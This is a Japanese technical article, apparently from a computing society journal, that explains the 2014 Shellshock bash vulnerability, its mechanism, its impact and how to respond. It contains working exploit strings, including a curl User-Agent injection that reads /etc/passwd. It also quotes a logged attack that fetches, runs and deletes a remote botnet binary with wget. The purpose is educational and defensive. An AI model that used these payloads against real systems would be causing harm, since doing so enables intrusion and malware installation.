Shellshockの顛末書

上田隆一（産業技術大学院大学）

Stephane Chazelas discovered a vulnerability in bash, ...[1].

UNIX系OSで広く利用されているbashに，深刻な脆弱性（CVE-2014-6271）[2]があることが公になったのは，日本時間で2014年9月24日の夜のことであった．この脆弱性の話題は次のワンライナー[3]とともに，瞬く間にソーシャルネットワーク上に拡散していく．

```
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
```

そのすぐ後，HTTP越しに攻撃するための具体的な方法が示され，その簡単さにインターネット上は騒然となり，世界中のサーバ管理者が対応に追われることとなった．本稿では，Shellshockと名付けられたこの脆弱性について，その仕組み，影響が大きくなった理由，現状と今後の対応について，実際にあった攻撃の例を交えながら説明する．

脆弱性のメカニズム

bash(1)には，環境変数の値に記述された関数を受け取って実行できる機能がある．あるとはいうものの，マニュアルには，関数はexport(1)に-fというオプションをつけて環境変数に記録すると，bashに渡すことができるとある．しかし，そうしなくても渡せてしまえるということを筆者も含めて多くの人が知らなかったことが，「何でこんな機能が存在しているの？」という軽い「ショック」を生んだ．

次の例は，環境変数でxという関数を定義して，コマンドとして呼び出したbashで実行するというものである．envについては，呼び出し元のシェルがbashである場合は不要である．

```
$ env x='() { echo hello ;}' bash -c "x"
hello
```

しかし，これはなぜ存在するか不明な機能であるもののバグではない．次に示す「ショック」が本当の「Shellshock」である．指摘された脆弱性は，関数の定義の後ろにコマンドを書くと，それが実行されてしまうことであった．もちろんこれはバグである．

```
$ env x='() { echo hello ;} ; echo hell' bash -c ""
hell
```

上の例では，bashが変数xを読み込んだとき，echo hellが実行されている．この動作は呼び出される側のbashで行う処理の内容とは無関係である．何らかのbashのプロセスが立ち上がる前に環境変数に悪意のあるコードを仕込まれると，そのbashで何かやろうとする前に悪意のあるコードが実行されてしまう．

HTTP越しの攻撃

Webサーバからbashを立ち上げるシステムは，この脆弱性の影響を真正面から受けることになる．図-1は，脆弱性が放置された計算機で動作するWebサーバ越しに，別の計算機からpasswdファイルを覗く例である．

curl(1)の-Aというオプションは，その後に書いた文字列をユーザエージェントとして接続先に送るものである．ユーザエージェントの文字列は環境変数に格納されるため，文字列に関数とコマンドを仕込むと，bashが呼ばれた瞬間にコマンドが実行される．上の例では実際にbashが呼び出されており，passwdファイルの情報がcurlから出力されている．

```
$ curl -A '() { :; }; /bin/cat /etc/passwd | /
usr/bin/tail -n 3' http://test.ueda.asia/index.
php ⏎
sshd:x:74:74:Privilege-separated SSH:/var/
empty/sshd:/sbin/nologin
ueda:x:500:500::/home/ueda:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
```

図 -1　curl コマンドを使い，Web サーバの passwd を覗くワンライナー

```
#!/usr/bin/php

<?php
    system('date');
?>
```

図 -2　実験に使った php スクリプト

暗黙裏な bash の使用

注意したいのは，CGI（common gateway interface）で呼び出しているのが，必ずしも bash のスクリプトではないことである．この実験で curl(1) で呼び出されていた CGI スクリプト（index.php）は，拡張子で分かるように php のスクリプトであった．スクリプトを図 -2 に示す．

system 関数がシェルを呼び出し，そこから date コマンドが呼び出されているが，この環境では「シェル」が bash であったため，コマンドの実行を許してしまった．

同じ php であっても，CGI からの実行でなければ（たとえば Apache の mod_php 経由であれば），少なくとも上記の攻撃の方法は無効となるなど，この攻撃が成立するにはいくつかの条件がある．そのため，脆弱性があるかどうかは，上の例のように確認する必要がある．

この例のように，あからさまに bash を使っていないにもかかわらず脅威に晒される場合には，脆弱性が見逃される可能性がある．筆者は文献 4）において bash を使って短時間で Web サイトを作る試みを行っており，サンプルとして置いてある Web サイトは，当然今回の脆弱性に晒されたが，このようなあからさまなものはごく少数派で，暗黙裏に bash が使われているシステムの数は膨大である．たとえば，ルータやネットワークストレージ等の製品では bash が内部で呼び出されているという報告がベンダから出ており，一部は 10 月 5 日現在，まだ対応が不十分であるという状況である．また，Web サーバ以外でも一部のメールサーバや DHCP クライアント等でネットワーク越しに bash が呼ばれる例が指摘されている．

```
###バージョンを確認するとbashと表示される###
[ueda@CentOS6.5 ~]$ sh --version ⏎
GNU bash, version 4.1.2(1)-release (x86_64-
redhat-linux-gnu)
Copyright (C) 2009 Free Software Foundation,
Inc.
License GPLv3+: GNU GPL version 3 or later（以下
略）
###機能は限定されておらずbashの配列が利用可能###
[ueda@CentOS6.5 ~]$ sh ⏎
sh-4.1$
sh-4.1$ arr=( aaa bbb ccc )
sh-4.1$ echo ${arr[3]}
ccc
```

図 -3　sh(1) が GNU bash であることの確認

bashism

bash が暗黙裏に起動される Web システムや組込み機器が多い原因は，「sh のフリをした bash」の存在にある．歴史的経緯から，Linux の多くのディストリビューションでは，sh の実体が bash であるものが多く存在する．sh の実体が bash であるかどうかは，図 -3 のように確認できる．

このような「sh のフリをした bash」は，多くの「bash でしか動かない sh スクリプト」を生むことになった．つまり 1 行目にシバン[☆1]「#!/bin/sh」があるにもかかわらず，途中で bash の機能なり文法なりが使われているシェルスクリプトが環境内に散らばることになった．

この問題については，「bashism」という言葉で今回の騒動の以前から指摘されてきた．この単語は主に「sh で動かなければならないシェルスクリプ

☆1　シバンとは，UNIX 系 OS においてスクリプトを動作させるときに，どのコマンドにそのスクリプトを実行させるかを 1 行目に記述したもの．

トに bash の文法が混ざって互換性がなくなる」という，脆弱性とは少し異なる文脈で使用されてきたが，bashism は sh を本来の sh（Bourne shell），あるいは bash よりも sh に近いシェルに変更するという決断を，過去も現在も行いにくくしている原因となっている．

攻撃の痕跡

筆者の HTTP サーバにおいても，攻撃を試みた痕跡がログに残っていたので，これを題材に実際にあった攻撃について説明する．調査は，ログのあるディレクトリにおいて次のようなワンライナーで行った．

```
# cat *access.log* | grep '( *)' | grep '{.*}'
```

件数は次のように調べることができる．ログが gzip 圧縮されている場合は cat ではなく zcat(1) を利用する．

```
# cat *access.log* | grep '( *)' | grep '{.*}'
| wc -l ⏎
73
```

ログを調査したところ，脆弱性確認のための，おそらく攻撃ではないアクセスが 25 日の午前 3 時にあったことが確認できた．

```
x.x.x.x - - [25/Sep/2014:03:19:25 +0900]
"GET / HTTP/1.1" 200 5213 "-" "() { :;}; echo;
echo vulnerable to CVE-2014-6271"
```

一方，悪意を持ったログもあり，次の例は悪意あるアクセスの最初のログである．このログの日付は 27 日であり，脆弱性が公表されてから 3 日弱の余裕があったことになる．今回に関しては，早期に bash をアップデートすることで，被害を食い止めることができた．

```
x.x.x.x - - [27/Sep/2014:11:56:09 +0900]
"GET /test HTTP/1.0" 404 461 "-" "() { :;}; /
bin/bash -c \"wget -O /var/tmp/ec.z y.y.y.y/
ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm
-rf /var/tmp/ec.z*\""
```

ログを読むと，wget(1) で ec. z というファイルのダウンロードを試み，実行した後に消去しようとしていることが分かる．この攻撃がうまくいくと，攻撃を受けた計算機には ec. z のプロセスが生き残り，ファイルとしての証拠はなくなる．

ec. z はコードが base64 エンコードされて難読化されておりどんなプログラムか分からなかったため，ログにあった別のものをダウンロードして確認したところ，いわゆるネットボットであった．

現状・対策・今後

筆者のサーバが悪意のある HTTP リクエストを受け取った 27 日以降に bash をアップデートを行っている技術者を Twitter で多数見かけた． また，筆者は異なる職種や研究分野のコミュニティに属しており，コミュニティによって本件に対する「温度差」を感じている．企業においても，アップデートにさまざまな承認が必要な体制になっている場合があるため，5 日の時点で対応が不十分な Web サーバが多数残っているものと推察される．

家庭用のネットワークストレージやルータ等については，bash がアップデートされずに脆弱性の残るものが現在も存在しており，今後も残ると考えられる．いわゆる「一般の消費者」は今回の件に無関心である場合がほとんどであるので，本稿を読まれた方は周囲に呼びかけをお願いしたい．

また，1 つのバグの発見がきっかけとなり，bash のコードの検証が活発になっており，24 日以来，脆弱性（CVE-2014-6271，CVE-2014-6277，CVE-2014-6278，CVE-2014-7169，CVE-2014-7186, CVE-2014-7187）の発見と修正が続いている．このため，現在とることのできる対策は，bash を使っている場合，あるいはその可能性が棄却できない場合は bash のアップデート・脆弱性調査をこま

めに行うことである．バージョン番号やパッチ番号で確認する手段もあるが，番号体系が複雑なのでテストスクリプト（https://github.com/hannob/bashcheck）の利用をおすすめする．Mac の場合，最初からシステムに存在する /bin/bash と，それを sh としてコンパイルした /bin/sh，そして Homebrew 等でインストールした /usr/local/bin/bash の 3 つの bash が存在している可能性があるため，それぞれについて確認を行う．

このような状況がいつ収束するかは不明であるが，長期間に及ぶ場合，sh が bash である OS や Linux ディストーションについては，今後デフォルトのシェルや sh に対応するものを bash から別のシェルに変更するものが出る可能性がある．一方，早期に収束する場合は，今回の脆弱性が潰された bash を使い続けるという考え方もある．しかし，このような議論は技術的な観点からのものであり，組織の意思決定という点から考えると，bash を日常的に使用しているユーザに不便を与える決定は容易ではない．そのため，変更への動きは鈍いのではないかと考えている．

参考文献

1）Weimer, F. : [SECURITY] [DSA 3032-1] Bash Security Update, https://lists.debian.org/debian-security-announce/2014/msg00220.html (2014).
2）National Vulnerability Database : Vulnerability Summary for CVE-2014-6271, http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 (2014).
3）Sidhpurwala, H. : Bash Specially-crafted Environment Variables Code Injection Attack, https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/ (2014).
4）上田隆一，後藤大地：フルスクラッチから 1 日で CMS を作るシェルスクリプト高速開発手法入門, KADOKAWA／アスキー・メディアワークス (2014).

(2014 年 10 月 6 日受付)

● **上田 隆一（正会員）** ueda-ryuichi@aiit.ac.jp

産業技術大学院大学産業技術研究科情報アーキテクチャ専攻助教．研究の傍らシェルプログラミングコミュニティ「USP 友の会」の会長として「UNIX 的なもの」の伝道活動を行っている．博士（工学）．